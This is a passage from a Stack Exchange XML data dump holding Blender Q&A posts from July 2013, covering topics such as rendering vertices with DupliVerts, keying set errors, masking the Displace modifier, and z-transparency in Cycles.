select the very edges of the mesh), and model (or sculpt) the middle part of the rock.&lt;br /&gt;&#xA;Since you hid the outer edges, they will not be effected when modeling the rest of the rock.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/0C3H0.png&quot; alt=&quot;Modeling the middle of the mesh&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Unhide the hidden edges (&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;H&lt;/kbd&gt;)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7vMyu.png&quot; alt=&quot;finished mesh&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Tile using the &lt;em&gt;Array modifier&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="20" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-07-17T11:58:27.200" CommentCount="0" CommunityOwnedDate="2013-07-17T01:41:48.003" ContentLicense="CC BY-SA 3.0" />
  <row Id="1825" PostTypeId="2" ParentId="1806" CreationDate="2013-07-14T23:24:36.563" Score="8" Body="&lt;p&gt;Object and bone transformation in Blender are applied in the order of scale, rotation, translation. As a matrix this would be written like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;object_matrix = translation_matrix * rotation_matrix * scale_matrix&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that this order ensures there is no shearing, which happens when you do scaling after rotation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If parenting is included in the matrix, multiple such object or bone matrices might be multiplied together, which means there is no longer a clear correct way to decompose the matrix into scale, rotation and translation.&lt;/p&gt;&#xA;" OwnerUserId="242" LastActivityDate="2013-07-14T23:24:36.563" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1826" PostTypeId="1" CreationDate="2013-07-15T00:01:49.940" Score="9" ViewCount="567" Body="&lt;p&gt;Is there something similar to calling &lt;code&gt;self.report&lt;/code&gt; inside an Operator, but for use without Operators (i.e. from &lt;code&gt;bpy.app.handlers&lt;/code&gt; functions)?&lt;/p&gt;&#xA;" OwnerUserId="952" LastActivityDate="2016-08-26T11:43:51.790" Title="Operator.report outside operators" Tags="&lt;add-on&gt;&lt;operator&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1827" PostTypeId="2" ParentId="1826" CreationDate="2013-07-15T00:44:59.960" Score="3" Body="&lt;p&gt;Currently this isn't possible.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-07-15T05:19:44.483" LastActivityDate="2013-07-15T05:19:44.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1828" PostTypeId="1" AcceptedAnswerId="1833" CreationDate="2013-07-15T15:52:31.757" Score="8" ViewCount="1693" Body="&lt;p&gt;I have an armature associated with a mesh. In Pose Mode I have oriented the armature the way I want, so I press &lt;kbd&gt;A&lt;/kbd&gt; to select the entire armature and then I press &lt;kbd&gt;&lt;code&gt;I&lt;/code&gt;&lt;/kbd&gt; to insert keyframes.  I've done this successfully on simple models while following tutorials, but back in my real model I'm getting the following error and I don't understand what context is being looked for.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;No suitable context info for active keying set&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What constitutes a &quot;context&quot; in Pose mode?  What should I be looking for in my model structure that is leading to such an error?&lt;/p&gt;&#xA;" OwnerUserId="956" LastEditorUserId="2173" LastEditDate="2014-04-19T03:56:45.457" LastActivityDate="2014-04-19T03:56:45.457" Title="What constitutes a &quot;context&quot; in Pose mode?" Tags="&lt;armature&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1829" PostTypeId="1" AcceptedAnswerId="1831" CreationDate="2013-07-15T17:24:23.110" Score="19" ViewCount="7131" Body="&lt;p&gt;Is it possible to render vertices with materials applied on them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I subdivided a mesh, and deleted all the faces so only the vertices were left.&lt;br&gt;&#xA;I could theoretically apply cool effects on them (I think it could be useful in motion graphics), but I could not apply materials on them or paint them in vertex paint mode. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm new to blender and i might do something wrong though. I would appreciate any help, thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Why do I need it:&lt;/strong&gt;&lt;br&gt;&#xA;I've tried to replicate some of the trapcodes particle effects, but it was kind of hard to do this with Blender particles, which are really great by the way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it might has something to do with my lack of experience - anyway I couldn't do it. And I think since blender is 3D software in the first place it could have some other ways to do it. &lt;/p&gt;&#xA;" OwnerUserId="864" LastEditorUserId="29301" LastEditDate="2018-10-14T21:15:32.173" LastActivityDate="2018-10-14T21:15:32.173" Title="Is it possible to render vertices in Blender?" Tags="&lt;rendering&gt;&lt;materials&gt;&lt;vertices&gt;&lt;particles&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="1830" PostTypeId="2" ParentId="1829" CreationDate="2013-07-15T17:37:10.177" Score="7" Body="&lt;p&gt;I'm not 100% sure what you are looking for, but you can have vertices rendered using a halo material:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/z3IRC.png&quot; alt=&quot;Halo&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This only works with the internal renderer at this time as far as I'm aware (possibly may work with Yafaray but I haven't tested that).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can animate your mesh using shape keys, modifiers, etc, to achieve various motion graphics effects.&lt;/p&gt;&#xA;" OwnerUserId="72" LastActivityDate="2013-07-15T17:37:10.177" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1831" PostTypeId="2" ParentId="1829" CreationDate="2013-07-15T18:29:45.690" Score="19" Body="&lt;p&gt;You can use DupliVerts to achieve an effect like this. Compared to other methods for rendering vertices, DupliVerts are going to give you by far the most control over materials, though the procedure for using them is slightly more complicated. They also have the advantage of working regardless of which render engine you are using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use DupliVerts to render vertices, follow these steps:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Add a new mesh object (I prefer using spheres for this) and scale down to your desired size&lt;/li&gt;&#xA;&lt;li&gt;Using the &lt;em&gt;Transform&lt;/em&gt; panel (&lt;kbd&gt;N&lt;/kbd&gt;), move that object to the exact same location as the object you want to render the vertices of, by manually entering in the coordinates&lt;/li&gt;&#xA;&lt;li&gt;Now hold down &lt;kbd&gt;Shift&lt;/kbd&gt; and select your target object. Make sure both the target object and your sphere are selected, and that the target was selected last&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt; and parent the object&lt;/li&gt;&#xA;&lt;li&gt;Go to the &lt;em&gt;Properties&gt;Object&lt;/em&gt; panel, scroll down to &quot;Duplicate&quot;, and select &quot;Verts&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now you will a copy of your sphere positioned at every vertex of your target object. You can now choose which materials to use for each of the objects. If you want to render &lt;em&gt;only&lt;/em&gt; the vertices, then assign a Transparent material to the target object, and a visible material to the dupliverts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My result, using DupliVerts on an Icosphere with and orange diffuse material in Cycles:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JY6pd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2013-07-15T18:29:45.690" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1832" PostTypeId="1" AcceptedAnswerId="1834" CreationDate="2013-07-15T19:42:26.530" Score="4" ViewCount="2490" Body="&lt;p&gt;I've created a model using &lt;a href=&quot;http://www.makehuman.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;makehuman&lt;/a&gt; after editing the hair mesh and recoloring the texture I would like to save this part of the model to be able to reuse it with other models. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can a part of a mesh (including an armature and material) be saved in another .blend file for importing later?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to select the hair mesh and invert selection to delete everything else, but there are way too many items in the outline view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The effect after &lt;kbd&gt;Ctrl&lt;/kbd&gt;, &lt;em&gt;delete all&lt;/em&gt;, &lt;kbd&gt;C&lt;/kbd&gt; &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;V&lt;/kbd&gt; is the same as when &lt;em&gt;append&lt;/em&gt; or &lt;em&gt;link&lt;/em&gt; will be used to load the hair mesh, unwanted custom shapes and other stuff comes into the new scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Append&lt;/em&gt; &lt;code&gt;.blend/Mesh/test_clothHairLongMesh2&lt;/code&gt; has no effect at all and &lt;em&gt;append&lt;/em&gt; &lt;code&gt;.blend/Object/test_clothHairLongMesh2&lt;/code&gt; loads all the stuff described above.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/1DMLx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2013-11-04T10:54:42.820" LastActivityDate="2014-03-10T09:54:31.203" Title="Can a Vertex Group be saved as a separate .blend File?" Tags="&lt;modeling&gt;&lt;export&gt;&lt;vertex-groups&gt;&lt;makehuman&gt;" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1833" PostTypeId="2" ParentId="1828" CreationDate="2013-07-15T20:07:37.677" Score="5" Body="&lt;p&gt;From the &lt;a href=&quot;http://aligorith.blogspot.fr/2010/12/animating-in-25-getting-to-grips-with.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;keying sets documentation&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h2&gt;No suitable context info for Keying Set&lt;/h2&gt;&#xA;&lt;p&gt;This error occurs when either:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The Keying Set requires that some specific type of data is selected (i.e. all builtin Keying Sets require that you have some selected object/bone)&lt;/li&gt;&#xA;&lt;li&gt;When using the &amp;quot;Available&amp;quot; builtin Keying Set, and the object that you're trying to keyframe doesn't already have any keyframes/F-Curves, this error will be shown as it there are no existing keyframes/F-Curve on the selected object(s) to insert keyframes on&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The keying set can be selected/cleared using the &lt;img src=&quot;https://i.stack.imgur.com/J3gPw.png&quot; alt=&quot;keying set controls&quot; /&gt; in the header of the Timeline window.&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-07-15T20:07:37.677" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1834" PostTypeId="2" ParentId="1832" CreationDate="2013-07-15T20:12:05.133" Score="4" Body="&lt;p&gt;The best way I can think of is, for safety duplicate&#xA;the original object first as you suggested,&lt;br&gt;&#xA;then remove the other parts of the mesh:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select the part of the mesh to keep.&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;CTRL&lt;/kbd&gt; + &lt;kbd&gt;I&lt;/kbd&gt; to Invert Selection.&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;X&lt;/kbd&gt; and Vertices to delete excess parts.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fCt8h.png&quot; alt=&quot;Delete Popup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or (not so good solution) you go back to object mode,&#xA;select the object if it is not already the only selection,&#xA;and export (for example as collada), and check only selected.&#xA;Later you can import the exported mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you may give a nice name, like APPEND-WITH-ME, and you can&#xA;simply append your other blend file and select that object&#xA;(not the mesh, the object). Every material, particles,&#xA;etc will be also loaded into the new blend file.&lt;/p&gt;&#xA;" OwnerUserId="649" LastEditorUserId="649" LastEditDate="2014-03-10T09:54:31.203" LastActivityDate="2014-03-10T09:54:31.203" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1835" PostTypeId="2" ParentId="1832" CreationDate="2013-07-15T20:18:29.383" Score="1" Body="&lt;p&gt;If I understand your question correctly, you don't actually need to save a separate file to do this. Just save the file with everything in it as you normally would, then open a new file (or the file you want the object in), go to File&gt; Append, and select your specific object from the file browser. That should place a full copy (materials, mesh, textures, etc) into your new file.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2013-07-15T20:18:29.383" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1836" PostTypeId="2" ParentId="1832" CreationDate="2013-07-15T20:22:00.443" Score="2" Body="&lt;p&gt;It's easy to invert selection without involving Outliner space. After displaying all layers &lt;kbd&gt;~&lt;/kbd&gt;, just press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;I&lt;/kbd&gt;, or &lt;strong&gt;Select&lt;/strong&gt; &gt; &lt;strong&gt;Inverse Selection&lt;/strong&gt;, in the 3D View space:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HsDWK.png&quot; alt=&quot;1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But to reuse a component of your character, you don't need to save it to a different file. Just make sure every object and obdata are properly named: what is the object, and which character it is a part of. That way, when you append or link from another file, it's always clear which data you need just from its name. This illustration is in Indonesian, but I hope it's clear enough that I've followed such naming convention:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NbTlA.png&quot; alt=&quot;2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made this task easier for myself, by having a regexp-based renaming operator (to easily add prefix or replace some suffixes) and obdata&amp;lt;-&gt;object name syncing operator in my personal &lt;a href=&quot;https://github.com/adhihargo/rigging_tools/&quot; rel=&quot;nofollow noreferrer&quot;&gt;rigging tool&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-07-15T20:22:00.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1837" PostTypeId="1" AcceptedAnswerId="1840" CreationDate="2013-07-15T20:23:18.310" Score="10" ViewCount="3021" Body="&lt;p&gt;For example, make an object glossier after touching another mesh, to make it look wet (dynamic paint?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or make it appear burned after being close to a flame simulation? (particles + dynamic paint?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know it's possible to change the object &lt;em&gt;color&lt;/em&gt; with dynamic paint, but is it possible to do the same sort of thing with a material?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Perhaps some complex system that uses dynamic paint generated image sequences to mix several shaders and node groups?)&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-07-16T05:52:40.853" Title="Is it Possible to Dynamically Change Object Materals?" Tags="&lt;materials&gt;&lt;dynamic-paint&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1838" PostTypeId="1" AcceptedAnswerId="1839" CreationDate="2013-07-16T03:57:08.850" Score="12" ViewCount="3190" Body="&lt;p&gt;A Displacement modifier is doing a great job making a mesh look a realistic object, but there are certain spots, such as a dozen or so vertices at one corner of the mesh, where I don't want any displacement effect.  The displacment is making a mess of things in those spots.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to undo my brilliant sculpting work there and re-do it after applying the modifier, or to fix the mess afterward. In fact, I don't want to apply the modifier.  Never mind my particular reason, since other Blender modelers may have the same question and want to animate, adjust the Displacment settings later, copy the object but have different ripples in the objects (using global coords), or whatever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be nice is a way to modulate the &quot;strength&quot; setting with a grayscale image or painting in a UV map, but I'm not seeing how to do that.  I'm one of: unlucky at Google today, stupid, or ignorant of some non-obvious feature in Blender.  Maybe there's a nodes editor way to build a processing pipeline for modifier parameters?&lt;/p&gt;&#xA;" OwnerUserId="606" LastEditorUserId="12" LastEditDate="2013-12-18T15:22:35.403" LastActivityDate="2013-12-18T15:22:35.403" Title="Is it possible to prevent a Displacement modifier from affecting certain parts of a mesh?" Tags="&lt;mesh&gt;&lt;modifiers&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1839" PostTypeId="2" ParentId="1838" CreationDate="2013-07-16T04:34:40.110" Score="13" Body="&lt;p&gt;You can achieve this by applying your displace modifier to a vertex group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cTAW5.png&quot; alt=&quot;Displace modifier&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just ensure that the vertices you don't want it applied to are &lt;strong&gt;not&lt;/strong&gt; a part of your vertex group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/UoHCl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aWsHD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="72" LastActivityDate="2013-07-16T04:34:40.110" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1840" PostTypeId="2" ParentId="1837" CreationDate="2013-07-16T05:34:38.903" Score="7" Body="&lt;p&gt;Dynamic paint is basically an automated painting system, you define a canvas and brush and together they generate an image (unless saved into vertex data such as vertex colour or group). This image can be used just like any other image within blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As shown in &lt;a href=&quot;http://www.miikahweb.com/en/articles/dynamic-paint-guide&quot; rel=&quot;nofollow noreferrer&quot;&gt;Miika's documentation&lt;/a&gt; you can use the generated image to adjust various texture settings within the blender internal materials. One example that appears to be omitted is the stencil setting (in the influence panel), this enables the texture layer to be a mask between higher and lower texture layers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within cycles you can use an image as input for the Fac value of a mix shader. As the final mix in a material you effectively choose between two different materials. You could also use it at any stage to mix any part of the node setup or input any specific value of a single node, like noise scale or emission strength.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using nodes with the blender internal render you would input into a MixRGB node instead of a MixShader node to get a similar result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eUCPh.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-07-16T05:34:38.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1841" PostTypeId="2" ParentId="1837" CreationDate="2013-07-16T05:52:40.853" Score="0" Body="&lt;p&gt;Are you using Cycles? Then it's easy! Use a mix shader.  Feed one input with one material, and the other with a different material.  The &quot;fac&quot; input of the mix shader can be keyframed, for example 0.0 from at frame 100, and 1.0 at frame 200.  Then you've got an object appearing as one material from the start of the animation to about five seconds in (24 or 25 fps), gradually changing to be the other material at 10 sec in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If instead of switching materials at fixed times you want to change them upon object collisions, in response to fluid or particle system activity, or anything else, it probably can be done with a &quot;driver&quot; but I have too little experience with drivers to explain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender Internal's material parameters can be keyframed, but I don't know of anything as slick as using a mix shader in Cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the game engine, I have no idea...&lt;/p&gt;&#xA;" OwnerUserId="606" LastActivityDate="2013-07-16T05:52:40.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1842" PostTypeId="1" AcceptedAnswerId="1843" CreationDate="2013-07-16T06:33:19.693" Score="12" ViewCount="19690" Body="&lt;p&gt;After converting to nodes in order to render using Cycles I've no idea where to enable the z-transparency. I guess the image textures alpha channel needs to be pluged somewhere but I've no idea which node would be suitable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is how could I correctly setup the nodes to have the same effect as when using z-transparency in BI? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/D04Cc.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/C2HGm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The materials original settings for BI are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bQDrm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which renders like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zdFRD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had no luck with DarenWs suggestion:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6SY9Q.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="2217" LastEditDate="2014-08-22T17:29:53.633" LastActivityDate="2015-08-26T20:48:39.347" Title="How can I setup a Material in Cycles for Z-Transparency?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;materials&gt;&lt;nodes&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1843" PostTypeId="2" ParentId="1842" CreationDate="2013-07-16T07:35:04.313" Score="14" Body="&lt;p&gt;Use a Mix shader as the last node before the Material Output.   feeding it the hair material (diffuse shader or whatever) in the lower input, a Transparency shader in the upper, and the image texture's alpha into the Mix's &quot;fac&quot; input.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Axsl9.png&quot; alt=&quot;Example node setup&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="606" LastEditorUserId="290" LastEditDate="2013-07-16T19:51:57.630" LastActivityDate="2013-07-16T19:51:57.630" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1844" PostTypeId="2" ParentId="1838" CreationDate="2013-07-16T08:48:43.133" Score="-2" Body="&lt;p&gt;As for modulating the strength value, the way to control individual values in blender is either through keyframes or drivers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By right-clicking on the value you can 'Insert Keyframe' or 'Add Driver' &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blender wiki has a &lt;a href=&quot;http://wiki.blender.org/index.php/User%3aKoilz/13.03.06_wiki_-_doc_2.6_Keyframes_and_Drivers&quot; rel=&quot;nofollow&quot;&gt;short tutorial&lt;/a&gt; that can get you started.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-07-16T08:48:43.133" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1845" PostTypeId="1" CreationDate="2013-07-16T09:37:25.070" Score="-7" ViewCount="1437" Body="&lt;p&gt;I want to use Blender for a sketch-up 3D image, but I want my 3D image online, on my webpage. I also want to be able to edit it online as well... Are there any available option for doing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope you all have something related to this my problem that can help me out.&lt;/p&gt;&#xA;" OwnerUserId="960" LastEditorUserId="72" LastEditDate="2013-07-16T15:39:15.400" LastActivityDate="2013-07-16T15:39:15.400" Title="Can Blender be used online for viewing and editing my 3D model?" Tags="&lt;webgl&gt;" AnswerCount="1" CommentCount="10" ClosedDate="2013-07-16T15:14:59.553" ContentLicense="CC BY-SA 3.0" />
  <row Id="1846" PostTypeId="2" ParentId="1845" CreationDate="2013-07-16T10:14:31.810" Score="5" Body="&lt;p&gt;For displaying a 3d model online checkout &lt;a href=&quot;http://sketchfab.com/&quot;&gt;sketchfab&lt;/a&gt; or &lt;a href=&quot;http://p3d.in/&quot;&gt;p3d&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't expect much in the way of mesh editing online.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you tagged your question as 3d-printing &lt;a href=&quot;http://www.shapewright.com/&quot;&gt;shapewright&lt;/a&gt; may be close to what you want - it is designed for customised 3d printing. The site uses an automated method that can join several pre-built models together to get a final model. I'd expect Dolf to be helpful if you wanted to make use of his scripts.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-07-16T10:14:31.810" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1847" PostTypeId="2" ParentId="1625" CreationDate="2013-07-16T15:44:13.843" Score="2" Body="&lt;p&gt;Well, finally, I I've found the way to &quot;solve&quot; it, if that could be called really an issue... It's true that Blender display badly meshes with alpha material if the map is low quality or small when I'm in the &quot;Blender render&quot; mode, well from what I've tested, that's what I've noticed...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However here, as I'm working with low poly assets and small maps, I just switched to &quot;Blender Game engine&quot; render, and by pressing &quot;P&quot; to have a preview of the &quot;game&quot;, I don't have anymore those artefacts... There was as well the fact the shader was set in the shading tab to &quot;shadeless&quot; ! Unchecking this, is also important, even thought in this case I really want the shader to be shadeless...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for my ignorance... I guess you didn't think about that because that was too much simple...&lt;/p&gt;&#xA;" OwnerUserId="892" LastEditorUserId="892" LastEditDate="2013-07-16T18:49:28.007" LastActivityDate="2013-07-16T18:49:28.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1848" PostTypeId="1" AcceptedAnswerId="1850" CreationDate="2013-07-16T15:57:09.867" Score="5" ViewCount="953" Body="&lt;p&gt;I know how to bake simple AO maps inside Blender, but in this case I would like my AO map to include shadows casted by all the trees leaves. I've googled to find an answer about it, but I haven't found anything yet&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible? I'm using Blender 2.66.&lt;/p&gt;&#xA;" OwnerUserId="892" LastEditorUserId="2217" LastEditDate="2014-07-29T00:33:44.210" LastActivityDate="2014-07-29T00:33:44.210" Title="Baking AO and Shadows into one image?" Tags="&lt;blender-internal-render-engine&gt;&lt;image&gt;&lt;texture-baking&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1849" PostTypeId="2" ParentId="1838" CreationDate="2013-07-16T16:03:06.900" Score="5" Body="&lt;p&gt;The Texture and/or Vertex Group settings of the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Deform/Displace&quot; rel=&quot;nofollow noreferrer&quot;&gt;Displace modifier&lt;/a&gt; controls the influence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems you are already using a texture and want to mask out areas of that. Doing this with texture nodes is currently not possible and has been on the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.5/Source/Development/Todo/Render#Render_Engine&quot; rel=&quot;nofollow noreferrer&quot;&gt;development todo list&lt;/a&gt; for a while:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Texture nodes disabled for displacement now, conflict in using it with render (needs owner for stack).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h3&gt;Remaining options:&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If using a image texture, add/use a alpha channel.&lt;/li&gt;&#xA;&lt;li&gt;Use a vertex group in addition to the texture (as &lt;a href=&quot;https://blender.stackexchange.com/a/1839/290&quot;&gt;suggested by RolandiXor&lt;/a&gt;).&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Materials/Displacement&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cycles materials displacement&lt;/a&gt;, where textures can be mixed (but obviously this will only be visible at render time).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="290" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2013-07-16T16:03:06.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
